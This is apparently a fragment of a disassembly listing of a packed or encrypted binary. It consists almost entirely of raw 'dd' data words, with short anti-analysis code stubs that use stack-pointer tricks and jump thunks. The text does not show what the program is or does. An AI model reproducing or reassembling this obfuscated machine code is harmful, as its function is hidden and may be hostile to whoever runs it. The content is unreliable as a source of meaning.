		dd 2CAD32DEh, 433EC87Dh, 0E8A780B7h, 9210D77Eh,	5D9A7110h
		dd 73F59063h, 0DC1B4ED4h, 2CA99C39h, 0C87D56A7h, 0FB9B293Eh
		dd 0C36609E6h, 7D7C037Eh, 143EC87Dh, 884DD276h,	0A93EC87Dh
		dd 0B12EB514h, 0C4EBD98Eh, 1CA023A1h, 415B9B3h,	0D2A17A30h
		dd 0CAC9E37h, 0CC7D7A49h, 9EAD814Bh, 4FD65485h,	1A908AC9h
		dd 26CADCCCh, 5607F007h, 0F3E66C7Eh, 6C0987F5h,	2FB613AAh
		dd 2A41CEB0h, 13E3613Dh, 43C0D5E4h, 56FDDDB2h, 99000006h
		dd 0CA21C05Bh, 956A0DACh, 0BC13B65Dh, 5E7514AFh, 284DEC93h
		dd 0EB925F72h, 16B9B74Ch, 0F2915C73h, 1CBFB84Fh, 45CA497Dh
		dd 38E8D5B4h, 1B60E2CBh, 579C39DCh, 1BD87518h, 0CF742ADFh
		dd 160D6004h, 0FBF8FB94h, 0CA94C760h, 3EE85987h, 10C1AE33h
		dd 0FC59EE3h, 57AD9781h, 8A2A931Fh, 0C147CE4Ch,	0CD8BC5DBh
		dd 0E847E710h, 857AB62Eh, 7A002h, 2220000h, 1AEh, 7D966B58h
		dd 0DE23EC8h, 6EA040E3h, 0E66BF2D7h, 0B85B946Bh, 0C87DAA33h
		dd 3E31C53Eh, 599DA62Bh, 0E76CEF71h, 3EC83A16h,	0F63BDB69h
		dd 0C4EB9E56h, 0EBB83BC9h, 82C5690Ch, 0ADC8C2ADh, 16ED8C0Eh
		dd 7D9936D9h, 0CD6C8AE8h, 15981A30h, 0F08D343Eh, 0EE73B65Ah
		dd 1BB45721h, 0A5D6BD21h, 72F0C31Ah, 0E9789CEh,	0A2283D2Ah
		dd 0C09E81CEh, 30AA8343h, 569h,	8225C0ACh, 3FE2816Dh, 8C2BD2A8h
		dd 36D97477h, 8E31D8A1h, 0E118B9EBh, 3840973Ah,	10DDF295h
		dd 3E39CE71h, 4BCAFC9Bh, 0E8D435C4h, 0DF634C38h, 9C39DC1Bh
		dd 56A72CA9h, 293EC87Dh, 9E6FB9Bh, 0E310DF66h, 0C69BAF48h
		dd 0CC6509A8h, 0B90DF8Fh, 0A3A649ECh, 97142F15h, 9E45D49h
		dd 0FB7DCD6Ah, 4F2BA15Bh, 15A30285h, 689CEC34h,	4A3750DEh
		dd 0D10F3BC7h, 23C2AC85h, 74A83h, 2B80000h, 0B6h, 22A73E58h
		dd 0D959149Bh, 8A00C4EBh, 0A0432C03h, 6A0DEA01h, 0D5F449CDh
		dd 0D5E9CA4Eh, 1E6B984Fh, 1838B77Ah, 73D3475h, 4A25FA81h
		dd 4F308A7h, 0D157DA61h, 44046964h, 30C95257h, 4FCD779Dh
		dd 7615E0B9h, 74CD71D9h, 52F502D1h, 0FFF195B5h,	98C0FBAh
		dd 9DF6078Ch, 0FB89CD77h, 9288D65Bh, 0EFC4374Ah, 8AC05D00h
		dd 0CDC6AE6h, 5DA023C9h, 6EE4F6B7h, 0B1000004h,	728928C3h
		dd 0AD42E584h, 647B1EC5h, 0B64DEC87h, 0D07514BBh, 43EA07CAh
		dd 7E214FA4h, 4AE904DBh, 842750A7h, 0CD52F1E5h,	38E8D70Ch
		dd 6DB88A63h, 6FF1F7DFh, 39DDBB97h, 1128Bh, 0E86D0500h
		dd 0C87D926Bh, 0BF49ED3Eh, 28F127D7h, 0AF610583h, 971C9F2Ah
		dd 0C4EB08DAh, 0AF84077Dh, 6A9C6C0h, 0C05FE169h, 0CA94C2Bh
		dd 8F16B30Ah, 0BF57010h, 0D259EF3Dh, 0B04FF2FDh, 0DC791C5Bh
		dd 9F26A33Ah, 0C8B0A6D0h, 4003A325h, 4AFAB5C3h,	7040C637h
		dd 5DA08B77h, 0D21EBC51h, 15000003h, 469D3CD7h,	11E68928h
		dd 489F42E9h, 1AF1902Bh, 0B49938DFh, 2FD6A32Eh,	0DA7D7B90h
		dd 36D5A037h, 90333C93h, 0D956FDF1h, 38E8D600h,	1BB48E5Fh
		dd 579C39DCh, 0D0556718h, 0B0A13219h, 18C69532h, 0F89BD459h
		dd 30CF9E75h, 0D67A1D5Bh, 0A85BB37h, 5CD30285h,	2F000000h
		dd 961DA73Eh, 3EC87D47h, 0AA29AC1Ah, 3EC87D53h,	931A982Eh
		dd 0F4B2FC0Ch, 4ED573C4h, 0DDEB57CAh, 13B3363Dh, 90374310h
		dd 1F906AF1h, 6592C72Ch, 39B63BC2h, 0C72C1FA0h,	86A549BFh
		dd 96D48971h, 0E8CB12CEh, 79CC69E7h, 7C06A1F3h,	1337D073h
		dd 0CA72B487h, 31FB826h, 1B120000h, 0A3A23BDAh,	5E02A1CCh
		dd 48CB6E89h, 43DC7B7Bh, 33C86707h, 451AA144h, 0FB02812Dh
		dd 963EC87Dh, 350EB230h, 0CE00B1BEh, 0DB7E79E3h, 0A08744Fh
		dd 0B035E988h, 920F9219h, 1442AC06h, 971C789Ah,	3EC8CE46h
		dd 460BAB19h, 0C4F5EA84h, 13901590h, 0C72DF2CAh, 439A1FA5h
		dd 1EC72DF2h, 0BE4C08A8h, 0F2DF2221h, 5E48C72Dh, 4533A913h
		dd 0C49BFC6Ah, 6F6808ABh, 2Ah, 57966DD3h, 7017E3B8h, 21D373D7h
		dd 29A62D9Ch, 0C4F4AE0Bh, 0AA9936D4h
		dd 0C72CB257h, 218BE6C0h, 0FC6980ABh, 0C9ADh, 0DC1B1500h
		dd 1A579C39h, 0DE19DA73h, 2651A23Bh, 69F462Ch, 1E23C644h
		dd 0EE872251h, 6177BC5Ch, 0EB3EC879h, 5AAAF25Dh, 0E467E9EBh
		dd 376B9E5Fh, 0B353F1C1h, 0BAE511Eh, 0BF58FBF4h, 44C70257h
		dd 0A48EDBFh, 69087E3Bh, 129930B5h, 15201C8Dh, 0FBF7CC3Dh
		dd 0EF8FBB54h, 814ED573h, 0D92ED178h, 0CA25F9A0h, 0FC43C2BFh
		dd 20FA733h, 22520000h,	0E313E887h, 244EA544h, 0E605DA7Dh
		dd 1A57AC4Bh, 6B71D473h, 45E48B66h, 801FC2AEh, 4CEB8A6Bh
		dd 7215B8B7h, 0BF3EC540h, 0D238E8D1h, 0DE1B69D9h, 541E18E0h
		dd 0B8922BADh, 3740973Ah, 0F941194h, 3EC87DCEh,	0A67E15A1h
		dd 13385FE6h, 0F12F195h, 2CC0D92h, 25A33EC8h, 966DBB81h
		dd 0E214B45Bh, 35D8175Bh, 30B530B3h, 0C87D2AB3h, 8F68453Eh
		dd 79F753ECh, 0AE5250D5h, 200DC4F4h, 3515B259h,	72F0935Ch
		dd 0B26B6ED5h, 0EA94C72Ch, 80C7FD67h, 8A07FC69h, 2CBEF405h
		dd 59FD8BC7h, 0C060h, 0DC1BE200h, 1A579C39h, 0F3ACEA6Eh
		dd 9CD8DBCh, 0C8107980h, 26AD183Eh, 3EC810D7h, 1C9E1CAAh
		dd 143EC083h, 0FFF83EC8h, 0F00AD95Ch, 0FA9EAC49h, 8ABC41Bh
		dd 0A912A76Fh, 9DDB5854h, 23AA6AFAh, 3CC34AC8h,	0C4F5426Eh
		dd 32E48301h, 1A971EABh, 412F2D45h, 0B9831C9Eh,	0B7D5F15h
		dd 8C0F917Ch, 2CC9F607h, 5BFB89C7h, 126CA8D6h, 961DAB3Dh
		dd 6609B0C9h, 0EDC16891h, 43C3E208h, 0EAE5F5BAh, 2D000000h
		dd 0EE05A43Fh, 29BE6100h, 0F007AA51h, 32C96803h, 5C01A047h
		dd 0C76E8B46h, 2A5D328h, 0CE6D885Fh, 0F89BD42Bh, 61DE6559h
		dd 38E8D098h, 1B8C36F7h, 439837DEh, 350A9134h, 17F69A39h
		dd 39DC1B0Fh, 544826B2h, 0AE4343B0h, 0C886A831h, 0BF41C73Eh
		dd 2ED061Fh, 7CB75D51h,	1931CE75h, 9B9E2589h, 31887A1Dh
		dd 19973241h, 56890F92h, 93B25E65h, 0AEC38828h,	0C1C4EB5Dh
		dd 2E49AA43h, 1DBCB986h, 17A24594h, 0C8A01CC7h,	0A0F4C082h
		dd 7AA28AAh, 0E1806D42h, 48CEF844h, 0C91E2DB2h,	2552A747h
		dd 2AA84F2Bh, 0FEA5CCA3h, 6AA4925h, 7594182Dh, 0E0A3F369h
		dd 0C8282DD1h, 8223703Bh, 2750D59Ch, 1C9E452Dh,	0E689667Dh
		dd 2EC9AA49h, 44B7991h,	2ACD707Fh, 74F79AD5h, 0EB5E85E8h
		dd 0E68AE5ECh, 38D4Dh, 86030000h, 3ED91BBCh, 822552A1h
		dd 40DF0EE5h, 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h
		dd 7C234FA4h, 47E610E3h, 1E6824AEh, 89000051h, 89532434h
		dd 4C381E3h, 83000000h,	1C8704EBh, 3C895C24h, 0E6895624h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 68240C89h,	289Fh
		dd 0B9240C89h, 78EE345Dh, 427AF181h, 0F1813FFEh, 20187806h
		dd 0F3F18149h, 896128AAh, 8B5459CFh, 0C481240Ch, 4, 2B2868h
		dd 243C8900h, 8B08418Fh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		db 6Eh,	0E7h, 59h
		dd 0AEFDB831h, 0C5030620h, 6F52E0FFh, 38D75518h, 0ADF345CAh
		dd 7F4D27CFh, 0E1E16942h, 18247A0Eh, 7E5B119Ah,	98E911CAh
		dd 94000000h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 20h dup(0)
		dd 59000000h, 0E96F107Ch, 0B50h, 20B1D668h, 0CDCAE906h
		dd 1768FFFAh, 0E90620B3h, 0FFFACDC0h, 20B41068h, 0CDB6E906h
		dd 9E68FFFAh, 0E90620B4h, 0FFFACDACh, 20B5BE68h, 0CDA2E906h
		dd 1268FFFAh, 0E90620B6h, 0FFFACD98h, 20B92368h, 0CD8EE906h
		dd 0FD68FFFAh, 0E90620B9h, 0FFFACD84h, 3EE17C78h, 8B2ECDA9h
		dd 38D77E74h, 9235D0A3h, 0EA8D343Dh, 757C5587h,	9CD42BCEh
		dd 748156F9h, 0D29D32D5h, 0B75E902Fh, 0E8CDA138h, 56EFC038h
		dd 3AB6AAD2h, 7C1C4566h, 39DC1BB6h, 7518579Ch, 309920D2h
		dd 1D5B28ADh, 0C96DDD7Ah, 0F5594684h, 0D26BD9C4h, 2CA16C71h
		dd 64EB99C7h, 6991C2FAh, 3C350AFCh, 5AB8F195h, 4D000000h
		dd 38D87776h, 6BE86DF2h, 3EC87D92h, 402349EDh, 68134E93h
		dd 8DD446EAh, 783AB93Ch, 0E3C4F465h, 667BC865h,	0A0C72DE7h
		dd 0A29A33DAh, 95B34EB5h, 6F8A5F8Fh, 0A7C42FC8h, 80CF9F0Ch
		dd 0B3BE6852h, 24C3B380h, 7D33BF8Bh, 310DE9B2h,	1349C363h
		dd 45FC69BCh, 0C1h, 39DC1BBDh, 731A579Ch, 3BDE19DAh, 752651A2h
		dd 35BDC33h, 60FF81F9h,	0C8788BDBh, 0D97C7B3Eh,	33D6A136h
		dd 0E4E57C9Ah, 0AF78E261h, 75133B0Ah, 309920D2h, 156026ADh
		dd 17EC3D12h, 559E37D6h, 68E27B16h, 44E711EAh, 0B014A8A4h
		dd 14B0B8F5h, 0DB61E466h, 8EDC936Ch, 0E5680865h, 9D3CE30Eh
		dd 0B4842B46h, 43C3BEC9h, 78456D7h, 45000009h, 16ED8C27h
		dd 419639D8h, 18EF9239h, 4AA140DBh, 84E9882Fh, 0DF86735Eh
		dd 2ACDAB40h, 0E6857087h, 20C3AC43h, 49C64D81h,	38E8CCB0h
		dd 1B64DECFh, 0DFB437DEh, 8021630Ch, 0DCFBE685h, 0CB66855Eh
		dd 99781832h, 3B3B3542h, 0E9862D45h, 0BE61DF61h, 22A73E78h
		dd 0AE1E149Bh, 37BAC4F4h, 2CB221B8h, 0F1CA40C7h, 81C96605h
		dd 4AE361DDh, 0C7616DFBh, 121C7409h, 5A14E96Eh,	0E112C72Ch
		dd 2D4AA946h, 0DB58ED8Ah, 0C72C5A02h, 1903E75Dh, 64422856h
		dd 0D92DA30Dh, 0ED2BFC68h, 9A000000h, 6D0AA9C5h, 1BF339DDh
		dd 0A99C39DCh, 893C1D23h, 69BD61B5h, 97A32F06h,	64791D86h
		dd 0BC638F8Dh, 8A3D023h, 0DB5DDB6Fh, 0CB710142h, 0BAB53EC8h
		dd 94637817h, 5B956AF1h, 17FF18B8h, 21C5B0C2h, 0C8D35BA2h
		dd 52D0363Eh, 54C64DD0h, 0E0C4F5FDh, 0FD1FDE65h, 0D472C72Dh
		dd 0FD0BD251h, 0E066C72Dh, 2810440h, 0C72DFDFBh, 2BB23096h
		dd 0FDD029A6h, 0C2AFC72Dh, 0D27815B4h, 9D91B050h, 75FA8148h
		dd 3D1358ACh, 930E9533h, 0C0BAB4BCh, 4CCE7C19h,	731A57ACh
		dd 4BF2FFD4h, 0C3200A7Bh, 0DFFB9443h, 7C6h, 0AA4DE804h
		dd 0D77A1955h, 0B453FA00h, 0EB14C1Fh, 0B65900F9h, 0B9C01193h
		dd 60986F12h, 0A8C51ABDh, 66916609h, 13B224C3h,	0E8CE4D8Ch
		dd 774B2438h, 1AE0DE1Bh, 0FB69E773h, 0DC53D60Dh, 4B24BB5Eh
		dd 0EB842751h, 0F83EE15Fh, 9C39DC1Bh, 73B923A9h, 0E6668ADh
		dd 0B75A956Ah, 6A5FE618h, 0EBD35CE3h, 20A6C4EBh, 6A9C69Dh
		dd 686DDC63h, 73CEC728h, 0D9A6AB4Eh, 0E466FF9Ah, 0AD063044h
		dd 0A52AB118h, 3D154C33h, 0F0BF46C4h, 7BCA630Ah, 0C8CE5F4h
		dd 8C0E7CCDh, 0CA4EF7ECh, 3B228992h, 36572962h,	5E1F581Fh
		dd 0A5F73CDCh, 0B8C7BDh, 88D10B9h, 65E00384h, 16BA04C4h
		dd 0F913B11h, 9C08B49Bh, 1CE2487h, 69AD4AC8h, 0A16EF5D4h
		dd 6D14DDD7h, 58F852EBh, 0D7314ED5h, 0A6249D09h, 5A16A21Fh
		dd 631542DBh, 0CFA83DE1h, 79768D2Ch, 268702D6h,	1CF1E3C5h
		dd 6CDBEh, 4EE90B00h, 7B1A54ABh, 44EB07DCh, 821D4EA5h
		dd 4AF108DFh, 0B120C2A7h, 697E21C8h, 0B64DEC8Fh, 627918B7h
		dd 9B4FF295h, 0C9627BF8h, 2CFD38E8h, 1BE86D96h,	28B13ADDh
		dd 473EC87Dh, 56EB1DC1h, 5223F073h, 951013B3h, 7710AFBEh
		dd 0A1EE33D3h, 34C4EB2Dh, 37400F96h, 0FEF8FB94h, 684C65Fh
		dd 9D442Dh, 1EA3A64Ah, 4E2B2951h, 0BE8C29A7h, 0AA9C51Ah
		dd 0E10DE267h, 1A5A542h, 0CA6302ECh, 0DBAB4E29h, 49DBACC6h
		dd 3FCB0FA0h, 7D000006h, 9E35D46Fh, 798E31D0h, 0A037DA81h
		dd 429938D3h, 8CF19037h, 0D77E7B56h, 32D5A338h,	0DE7D788Fh
		dd 28CBA43Bh, 31AE5589h, 38E8C9A8h, 3E5CE6C7h, 149B22A7h
		dd 0C4EB2D8Bh, 0F396614Eh, 0D60BE25Ah, 62042479h, 4DB62E0h
		dd 75A948EBh, 0D14ED5ECh, 0C71759FCh, 0D38D573h, 78EB107Fh
		dd 0B65AA824h, 17ED6B71h, 65EC9AC7h, 6445C5FBh,	4893FCh
		dd 6DEF0000h, 7B5213DFh, 7D00BE86h, 0C807E7F6h,	6C0C7A3Eh
		dd 1BA21FBAh, 0C807B994h, 2253203Eh, 0E260EA83h, 7FBFE45h
		dd 39353EC8h, 0FBF6FD9Ah, 0B27CBB54h, 9D87719Fh, 2FF068D2h
		dd 7660285h, 0DC000000h, 19402h, 966D5800h, 3119B659h
		dd 70F7F98Dh, 0D65DE0E9h, 0C4F55960h, 0E75C55F3h, 9681F0BCh
		dd 0E953489h, 48910E93h, 2774F251h, 44951AA1h, 1B74F251h
		dd 464409ADh, 0D98ECE80h, 0E573D26Bh, 0C6B04871h, 30BC8E27h
		dd 963A62C4h, 69ECDD64h, 0F7B0ADEAh, 931AB080h,	7110B3BCh
		dd 0E6BA5D9Ah, 8DFB11B7h, 1FAE2C01h, 5D000005h,	7E55F48Fh
		dd 0D92ED170h, 8057FAA1h, 0A239D873h, 0EC9130D7h, 37DE1BB6h
		dd 92354398h, 3EDD18EFh, 882B449Bh, 0D14EF5E9h,	38E8C808h
		dd 6DBC8667h, 15B95896h, 7B14B7C0h, 83469Bh, 0F5766983h
		dd 0E58402C4h, 6A3EE10Eh, 49E00A41h, 0CB28B27Bh, 9000004h
		dd 5AB150EBh, 5DA7D1Ch,	4CA346EDh, 0EE5841Fh, 0B89D3CE3h
		dd 1BC2AF22h, 0E689677Ch, 22C1AC43h, 0EC8F687Fh, 75FA994Dh
		dd 38E8CB64h, 6D9032FBh, 39DC1BE8h, 0D425AE9Ch,	0AB3EC87Dh
		dd 8B64791Dh, 0CBA44FE8h, 7D5D9C23h, 96343EC8h,	16E07B14h
		dd 16B9B63Bh, 0B6417773h, 47170284h, 6B000000h,	0BB8CDF6Dh
		dd 0CF43C704h, 0A68FD2Fh, 89B34CEBh, 0E9D9F9C9h, 67E967A9h
		dd 649261E4h, 461C21C5h, 19C4F5AAh, 0DE771E54h,	936AE96Ch
		dd 0EEC72DB6h, 63DDA58h, 0C72DB6F3h, 85EF821Ch,	0FC6A7D4Fh
		dd 3409h, 0A73E7900h, 8D0BAACBh, 0BCB48B06h, 18B07519h
		dd 17C4F4B2h, 0CED627ACh, 1BA9C72Ch, 2D49169Dh,	9664EB8Eh
		dd 90C72CCEh, 0CE25C467h, 766401A0h, 3F2h, 22A73ECCh, 45BE149Bh
		dd 0A321C4F5h, 0DF1EA520h, 0B2C72C94h, 589B7414h, 54E37C1Fh
		dd 0A02587CAh, 0A71DA229h, 383D11ACh, 7B744BD2h, 38D57481h
		dd 53F79012h, 0AF8A53D0h, 5FE5CD01h, 6C8B60BFh,	40BF42C9h
		dd 0CD01AFB9h, 5D9972D8h, 852921BEh, 0F6D36AACh, 34D7A06Fh
		dd 0AFAB32B1h, 40C6CD01h, 88169DA0h, 4B373CA0h,	63EA20BDh
		dd 0B5884DD5h, 5F0ECD1h, 0DA44E466h, 638F6497h,	0A8C71CBCh
		dd 0AECAC0AEh, 5AD8720Bh, 963936BDh, 51CF51F9h,	2F8F5CAh
		dd 31D553F6h, 309920D2h, 4BE826ADh, 0D864295Bh,	1E721D0Eh
		dd 78B454B8h, 717E7512h, 52D931CEh, 31CE757Dh, 0C48B7519h
		dd 13B6C291h, 1ACAC27Ah, 8C92163Ah, 21B86A0Eh, 1515AF9Ah
		dd 0F3756FFFh, 521EF570h, 8C4A0FAFh, 8F2367F7h,	45D356F9h
		dd 0FEFC3674h, 3D8782Fh, 91B451F4h, 0E66BD90Bh,	0BF399069h
		dd 0C959EFDFh, 74F77379h, 0BFB6EEEFh, 630381DFh, 23BC638Eh
		dd 0C2470A14h, 0BB6F12B5h, 0A520A326h, 63FCA3CEh, 4AC86390h
		dd 0B917A1A6h, 5BE12582h, 0C4469EE2h, 9A963A61h, 9760932Ch
		dd 0ACAF5BF4h, 0A353AA29h, 412EE594h, 55F59239h, 86C933D3h
		dd 0D46F7C53h, 0BD6F0F3Bh, 77AB9328h, 28C06EBBh, 129C23AAh
		dd 0DE1FA98Ah, 0A747E211h, 429B18ABh, 1DEB8996h, 96DC1DA2h
		dd 15B3EB89h, 5D721593h, 0BE5D9892h, 2750A33Ch,	0DC60E584h
		dd 3340F61Fh, 0F8A30C98h, 0B9E08713h, 0E41852C8h, 3E8BD244h
		dd 799238B7h, 0F78D11B4h, 8110E55Eh, 1FFDF1EDh,	0B16EE650h
		dd 3AE8D1AAh, 5A000000h, 3F34DF6Dh, 0F7832253h,	5AFBB393h
		dd 25CD3EF4h, 0FD2FCF51h, 55DA6168h, 0C4F4B85Fh, 56ED8A00h
		dd 0C72C9883h, 8CBF926Ch, 7B14BBB7h, 7FF52FCFh,	0D9FC6996h
		dd 8Ch,	39DC1B69h, 731A579Ch, 3BDE19DAh, 832651A2h, 79175FE4h
		dd 0E00F3EC8h, 2A459A3Dh, 26A44730h, 91388D89h,	0A2A7850Ah
		dd 0D2383B0Ah, 6366FB2Fh, 0FCA63E0h, 1FA53D12h,	3AAC79Ch
		dd 0BB628F64h, 0C3C9D4EBh, 0BD1DF243h, 1BAh, 0BE61FCF8h
		dd 0BAE4D29h, 0B857FEF4h, 12B55023h, 6A0DB4BDh,	0F5FCD507h
		dd 1C54AB4Eh, 0F401D679h, 521DB255h, 37DE10AFh,	0E8C421B8h
		dd 0D36F4038h, 0B659966Dh, 788D3119h, 0A037DA81h, 8D9534D7h
		dd 0B75A966Dh, 9A8C2C1Eh, 80FF8643h, 0C4F4AEA2h, 152EC73Dh
		dd 0C72CB2C0h, 3637313Eh, 777C1997h, 0B539D679h, 503A68E7h
		dd 0BB319BB6h, 9DFC6980h, 0A2h,	39DC1B25h, 731A579Ch, 0B55023F0h
		dd 3B4BF811h, 0EB3EC879h, 40E7120Ch, 6EEC8B6Bh,	983B34CBh
		dd 922D3E15h, 7CC155EEh, 6349C64Dh, 0FC3B0AA2h,	4481078Eh
		dd 0ADA444E6h, 0BB6FCE72h, 5320A326h, 47F58520h, 57DB2FA9h
		dd 0B53AFDA1h, 3D12B88Bh, 0A877FE8Ch, 70872AD1h, 0F90EE289h
		dd 0CB43C241h, 0E09842h, 4E1E0000h, 0AFBF14B3h,	609A7110h
		dd 0B2C116B9h, 96637817h, 772D50EFh, 0D9781F5Ah, 0B453F602h
		dd 10AF4E1Fh, 0B659FCFBh, 0FB028104h, 9638E8C4h, 0DE1BEDD5h
		dd 34439837h, 1799403Ah, 0DC1BB278h, 0DAA99C39h, 875CFC9Bh
		dd 0F022C568h, 4FEA0969h, 5AD87F7Ah, 2D374CD3h,	4C23C4EBh
		dd 5FEB841Fh, 680583BFh, 26C96C8Bh, 6A03A6D1h, 446557D9h
		dd 242BF358h, 8E66BF1h,	2408F792h, 892DAB4Ah, 39D87B74h
		dd 0EBF271F4h, 86AE664Eh, 6C8B6000h, 0E8B642C9h, 0C31A9934h
		dd 9EAE661Eh, 3D5E9C28h, 945FB858h, 0E723BC57h,	0C2AD323Dh
		dd 6A109C1Fh, 2D51FE08h, 0C05D04EEh, 0C968088Ah, 7B820184h
		dd 16AE6677h, 57A62DB0h, 2AAE6677h, 8E7FC9Ch, 771AE360h
		dd 0F75AE66h, 3E6F491h,	5C000000h, 0D91BBC86h, 2552A13Eh
		dd 0DF0EE582h, 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h
		dd 234FA441h, 0E610E37Ch, 6824AE47h, 6DF4h, 89241C89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 89515C24h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	53243C89h, 0FC227DBBh, 0D320B864h
		dd 0D8296B1Ch, 81241C8Bh, 4C4h,	3C8B5400h, 4C48324h, 9EBD5550h
		dd 14F6046h, 5D04246Ch,	8108478Fh, 469E086Fh, 3C8B4F60h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 24048B5Ch
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0FAC287E9h, 3F743EFFh
		dd 20BB02B8h, 0FFC50306h, 0EDDF0FE0h, 8E050311h, 0C50A683Dh
		dd 0CEE69736h, 0F5EC02Bh, 50542D2Bh, 8473D35Eh,	0B544967Ah
		dd 36A5164h, 5CFB774Fh,	9DB18F64h, 0AF6CEA59h, 29A2D57h
		dd 0C9852503h, 1DF37B20h, 0E6D21874h, 0D6BF3E13h, 45093A1Ch
		dd 24EB3Dh, 8 dup(0)
		dd 0E9000000h, 0BDh, 0BBF6B589h, 858B0620h, 61B1CD5h, 124D858Bh
		dd 0B58D061Bh, 620BC40h, 40F4858Dh, 0D0FF061Eh,	0E855C3h
		dd 5D000000h, 0BC46ED81h, 0BD830620h, 61B1CD5h,	2C850F01h
		dd 0FF000000h, 20BBF6B5h, 4D858B06h, 35061B12h,	34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 0FAB58D1Ch, 560620BBh, 0BBF6B5FFh, 858B0620h
		dd 61B124Dh, 81273635h,	83D0FF34h, 0B58D0CC4h, 620BBFAh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	1B1CD5BDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 1F858DCFh, 890620BCh, 1B29DD85h, 0EE806h
		dd 0F5BC0000h, 0EC00CA84h, 9E521DAFh, 0BE5A9917h, 7E95Bh
		dd 0CBD20000h, 4EB2637Eh, 0CC38156h, 0F800005Ah, 165468h
		dd 7E900h, 3BEB0000h, 0B598A60Eh, 0D08B5F00h, 6060038Bh
		dd 0EE9h, 8C2A1200h, 8071DD42h,	0D0CFCE9Ch, 6141B74Bh
		dd 0C6F08161h, 0F5995FEh, 0F081D2B7h, 2BC60AC1h, 0FAF081F9h
		dd 0B5172326h, 0F605055h, 14E9DEBFh, 0F1000000h, 75DBDDBCh
		dd 0E38C81F8h, 1E5C492Eh, 1240982Bh, 61A524BBh,	9E9038Fh
		dd 0C1000000h, 6D514CA8h, 0CD4543F3h, 2D5CEB81h, 0C38170A0h
		dd 70A02D58h, 38D0Fh, 0F5800000h, 850F4FFDh, 0FFFFFF84h
		dd 9E9h, 8F3DE600h, 71688D30h, 8D8DB725h, 620BE8Ah, 0A05BD89h
		dd 8D89061Bh, 61B2429h,	0E95129BFh, 6585C74Eh, 68061B07h
		dd 6A000073h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 3B24C355h, 0F46EECD1h,	0CE84DBEh
		dd 9B000000h, 0FD0041DFh, 2CD84F64h, 0F9FE06Dh,	0C758C1B7h
		dd 1B13D185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 69853301h, 0FF061B30h
		dd 1B07B5B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0D78B66F0h, 2F8595FFh, 6A061Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0FD2738C3h, 958B92F1h, 61B2D81h, 95FF006Ah, 61B2205h
		dd 3DEBC08Bh, 805396B5h, 0ACF3A82Eh, 0FB799249h, 0FD60C4E2h
		dd 0DBCCE004h, 5100C53Ah, 22A90B9h, 0B9C9B2F4h,	3ED73758h
		dd 0FEB3217Fh, 5789B069h, 39FC54C2h, 52A0A2A4h,	6E473FA3h
		dd 6A9C5DDh, 0F808EBF7h, 4AB00Eh, 0E9023F00h, 0C27h, 20C0B168h
		dd 86FEE906h, 9B68FFFBh, 0E90620C1h, 0FFFB86F4h, 20C35B68h
		dd 86EAE906h, 3468FFFBh, 0E90620C4h, 0FFFB86E0h, 20C4EA68h
		dd 86D6E906h, 0C968FFFBh, 0E90620C6h, 0FFFB86CCh, 20C75168h
		dd 86C2E906h, 7E68FFFBh, 0E90620C8h, 0FFFB86B8h, 20C95468h
		dd 86AEE906h, 45FEFFFBh, 4B70210Fh, 5A622F01h, 47F516ECh
		dd 615C2D03h, 46DA01EFh, 2E044CF7h, 13ED615Dh, 2C064CF6h
		dd 1AE8605Fh, 0B5C3DF40h, 3E4AF11Dh, 647F11E5h,	355B51F6h
		dd 2CEDF7AFh, 3C3D3B0Dh, 495ACB7Dh, 0E12E8ACBh,	6072E343h
		dd 4CD1D218h, 8F6173E3h, 1F330DCEh, 0B9819349h,	0D7CC599Fh
		dd 4DA0D961h, 3D0F2C91h, 3A28BDA7h, 52CC9331h, 0CA00FA5Ch
		dd 4ACAD7B6h, 71B3609h,	4ACAD771h, 0B08A1C7Ah, 0A97FCFF3h
		dd 8174EC09h, 99FBD5A2h, 50CA6674h, 38DCh, 7A240A00h, 22AFA334h
		dd 0EF52CCB3h, 0C5B7B187h, 0DA4ACA93h, 93906AE8h, 92C7A1B1h
		dd 0CD82BFBBh, 73702F73h, 542302F5h, 0EAD18A7Ch, 3E6F485Eh
		dd 0A650CA3Fh, 0F5h, 3C0C3350h,	80CAF0ABh, 482234AAh, 0E2D8784Bh
		dd 2072766Dh, 31A517EBh, 0FCEA6458h, 5228201Fh,	0C4DF6A51h
		dd 0A3B5F154h, 492F2101h, 924CD17Ch, 0F066E2D9h, 61468C66h
		dd 0D04CD178h, 61F65FE9h, 0D1780B71h, 7066D04Ch, 9EAA9182h
		dd 1DAED09Ch, 4E712A1Eh, 20B62802h, 65BE9BB7h, 138352CCh
		dd 0F63B5D1Dh, 0D89E71DDh, 6D637899h, 4ACA8F0Fh, 63F462D4h
		dd 0BEBC96A8h, 99891E08h, 54DD6534h, 7B50C531h,	4B2505C8h
		dd 0EBF20E64h, 0C17375D5h, 6EEFC153h, 0A5BE92ADh, 1622601Fh
		dd 0E7A4B258h, 4C074DCh, 0F75DEA53h, 995D499h, 0C1820000h
		dd 0CFEC9D93h, 0B686837Dh, 0CBF1A290h, 0DDE0B17Fh, 0C2567D73h
		dd 0BA88C87Bh, 9769E5D9h, 0B88AC87Ah, 8E64E4DBh, 393F53C4h
